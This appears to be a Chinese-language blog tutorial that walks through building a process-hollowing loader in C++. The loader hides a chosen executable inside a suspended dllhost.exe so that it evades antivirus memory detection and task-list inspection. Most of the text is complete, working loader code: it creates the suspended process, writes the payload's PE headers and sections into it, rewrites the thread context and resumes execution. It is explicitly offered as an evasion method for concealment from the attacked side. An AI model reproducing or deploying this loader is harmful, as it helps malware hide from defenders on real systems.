1
前言
目前的免杀技术,常规的进程执行很容易被受攻击方发现,为了尽可能的隐藏自己,在不利用驱动或者漏洞的情况下我们有用到的技术很少,这次我们就来讲一种可以在3环达到进程隐藏的方法,进程镂空(傀儡进程)。
这种技术虽然很久之前就有了,但是和其他的免杀技术相结合会达到很不错的效果。
这种技术的好处是可以将我们想执行的程序伪装成系统进程或者有签名无检测的白名单进程,从而绕过杀软的内存检测。
2
实现思路
如何去实现这个傀儡进程,我们就要知道进程创建后的步骤是在干什么,进程创建后会在内存空间进行拉伸PE,那么这一步就是我们达到伪装的关键一步。如果我们将这一步拉伸的PE修改成我们自己的PE是不是拉伸的就是我们自己的程序,从而执行我们自己的程序。
3
执行流程
创建一个挂起的进程
这里如果不是挂起状态,程序就执行起来了,那么我们就没有足够的时间去替换他要执行的PE了。
获取线程上下文
这里获取上下文的主要目的是作用于修改寄存器,在我们后续的操作后要去修改。
替换PE信息
将我们上面的实现思路里最重要的一步在挂起进程后去执行,这样进程还没执行完成我们可以完成替换。
修改线程上下文
修改寄存器让执行的内存发生改变,修改到我们替换的PE信息。让程序自身的去解析我们替换的PE结构。
恢复线程
恢复线程,让程序执行起来,完成我们的因此。
4
实操顺序
写一个自己的程序 Demo.exe
#include <Windows.h>int main(void)
{
MessageBoxA(nullptr, "我是一个demo程序", "信息:", MB_OK);
return 0;
}
这就是一个很简单的程序,我们来编译执行一下。
可以明显的看到这里有我们执行的程序进程信息,这样我们就很容易被发现。那么下面我就就要去看怎么去隐藏掉这个进程了。步骤会很多我会分步骤去写,让大家可以跟着步骤去完成这一效果。
加载器实现流程
创建进程
创建一个系统进程或者白名单进程再或者你想要让你的进程伪装的进程,这里我们以32位进程去演示,我们去C:\Windows\SysWOW64这个目录下随便去找一个进程即可,这里我就选择dllhost.exe
这里我们在创建个项目去写另外的代码,demo程序就不要去改动了。
load 右键属性 -> 配置属性 -> 链接器 -> 系统 -> 子系统 改为窗口 不然后面会报0xC0000142错误 (这里可以写完所有的代码再去操作 窗口程序不利于我们去输出信息)
#include <iostream>
#include <Windows.h>//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
int main(void)
{
// 获取 32位dllhost.exe路径
char pickerHostPath[MAX_PATH] = { 0 };
ExpandEnvironmentStringsA("%SystemRoot%\\SysWOW64\\dllhost.exe", pickerHostPath, MAX_PATH);
// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return -1;
}
std::cout << "process pid:" << pi.dwProcessId << std::endl;
std::cin.get();
// 结束进程(调试的时候方便一下 可以不写)
TerminateProcess(pi.hProcess, -1);
std::cout << "process exit!!!!!!!" << std::endl;
std::cin.get();
return 0;
}
这里我们就已经以挂起的方式去创建了一个进程,怎么样去看我们的进程是否为挂起呢?我们任务管理器可以看到。
读取我们需要真正执行的exe
#include <iostream>
#include <Windows.h>#define EXE_PATH R"(C:\Users\admin\Desktop\code\傀儡进程\Debug\demo.exe)"
//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
int main(void)
{
// 获取 32位dllhost.exe路径
char pickerHostPath[MAX_PATH] = { 0 };
ExpandEnvironmentStringsA("%SystemRoot%\\SysWOW64\\dllhost.exe", pickerHostPath, MAX_PATH);
// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return -1;
}
std::cout << "process pid:" << pi.dwProcessId << std::endl;
std::cin.get();
// 打开文件
HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// 打开失败结束之前的进程
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 获取文件的大小
DWORD nSizeOfFile = GetFileSize(hFile, NULL);
std::cout << "file size:" << nSizeOfFile << std::endl;
// 申请内存保存Exe字节码
char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 把文件读取到我们申请的缓存区
DWORD read;
if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
{
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 关闭文件
CloseHandle(hFile);
// 结束进程(调试的时候方便一下 可以不写)
TerminateProcess(pi.hProcess, -1);
std::cout << "process exit!!!!!!!" << std::endl;
std::cin.get();
return 0;
}
可以看出来我们需要执行的exe已经被我们加载到我们内存当中。
替换PE
#include <iostream>
#include <Windows.h>
#include <winternl.h>#define EXE_PATH R"(C:\Users\admin\Desktop\code\傀儡进程\Debug\demo.exe)"
//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
int main(void)
{
// 获取 32位dllhost.exe路径
char pickerHostPath[MAX_PATH] = { 0 };
ExpandEnvironmentStringsA("%SystemRoot%\\SysWOW64\\dllhost.exe", pickerHostPath, MAX_PATH);
// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return -1;
}
std::cout << "process pid:" << pi.dwProcessId << std::endl;
std::cin.get();
// 打开文件
HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// 打开失败结束之前的进程
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 获取文件的大小
DWORD nSizeOfFile = GetFileSize(hFile, NULL);
std::cout << "file size:" << nSizeOfFile << std::endl;
// 申请内存保存Exe字节码
char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 把文件读取到我们申请的缓存区
DWORD read;
if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
{
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 关闭文件
CloseHandle(hFile);
// 解析PE
// 获取dos头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) // 判断是否为MZ
{
TerminateProcess(pi.hProcess, 1);
return 1;
}
// 获取nt头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);
// 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// 获取模块基质
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);
// 在默认基质下申请内存并且 设置属性为读写执行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem)
{
TerminateProcess(pi.hProcess, 1);
return 1;
}
// 替换PE头
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 获取节表 写入节表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}
// 结束进程(调试的时候方便一下 可以不写)
TerminateProcess(pi.hProcess, -1);
std::cout << "process exit!!!!!!!" << std::endl;
std::cin.get();
return 0;
}
GetThreadContext是什么意思呢?获取线程上下文,我们这时候用调试器附加一下dllhost看下我们获取的是什么东西。主要获取的就是目前的寄存器的值。后续我们需要读写这个值,从而达到执行我们自己的PE信息。
开始替换PE头 我们可以注意一下写入了什么。
这里是替换节区。
走到这里就说明我们的PE已经被完全替换了,那么我们需要给他替换一下寄存器才能让他执行起来。
设置线程上下文,恢复线程
ebx+8的位置本身存放的是原来默认的PE,我们这里给他替换成我们申请内存的PE,然后恢复线程基本就完成了我们的隐藏。
#include <iostream>
#include <Windows.h>
#include <winternl.h>#define EXE_PATH R"(C:\Users\admin\Desktop\code\傀儡进程\Debug\demo.exe)"
//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
int main(void)
{
// 获取 32位dllhost.exe路径
char pickerHostPath[MAX_PATH] = { 0 };
ExpandEnvironmentStringsA("%SystemRoot%\\SysWOW64\\dllhost.exe", pickerHostPath, MAX_PATH);
// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return -1;
}
std::cout << "process pid:" << pi.dwProcessId << std::endl;
std::cin.get();
// 打开文件
HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// 打开失败结束之前的进程
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 获取文件的大小
DWORD nSizeOfFile = GetFileSize(hFile, NULL);
std::cout << "file size:" << nSizeOfFile << std::endl;
// 申请内存保存Exe字节码
char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 把文件读取到我们申请的缓存区
DWORD read;
if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
{
TerminateProcess(pi.hProcess, 1);
return -1;
}
// 关闭文件
CloseHandle(hFile);
// 解析PE
// 获取dos头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) // 判断是否为MZ
{
TerminateProcess(pi.hProcess, 1);
return 1;
}
// 获取nt头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);
// 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// 获取模块基质
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);
// 在默认基质下申请内存并且 设置属性为读写执行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem)
{
TerminateProcess(pi.hProcess, 1);
return 1;
}
// 替换PE头
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 获取节表 写入节表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}
// 修改寄存器
ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, -1);
std::cout << "进程隐藏执行完成" << std::endl;
// 结束进程(调试的时候方便一下 可以不写)
// TerminateProcess(pi.hProcess, -1);
// std::cout << "process exit!!!!!!!" << std::endl;
// std::cin.get();
return 0;
}
修复执行错误
这里我们可以看到提示了错误框,我们修改下子系统。
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
子系统改为窗口后 main函数需要改成WinMain
完毕
可以看到我们进程运行起来了,那么我们看看这个进程是什么。
从线程里面可以看出,我们是从这个dllhost里面去执行的我们的程序,那么我们看下是不是找不到我们原来的进程了。
可以看到这里已经确定没有demo.exe,至此我们的隐藏进程实现完成。
5
总结
隐藏的时候需要提前找到一个载体。
我们目前通过的是读取文件获取我们demo的exe,可以提前获取好,放到我们的内存中,这样更隐蔽。
需要注意main函数和winmain,main函数会报错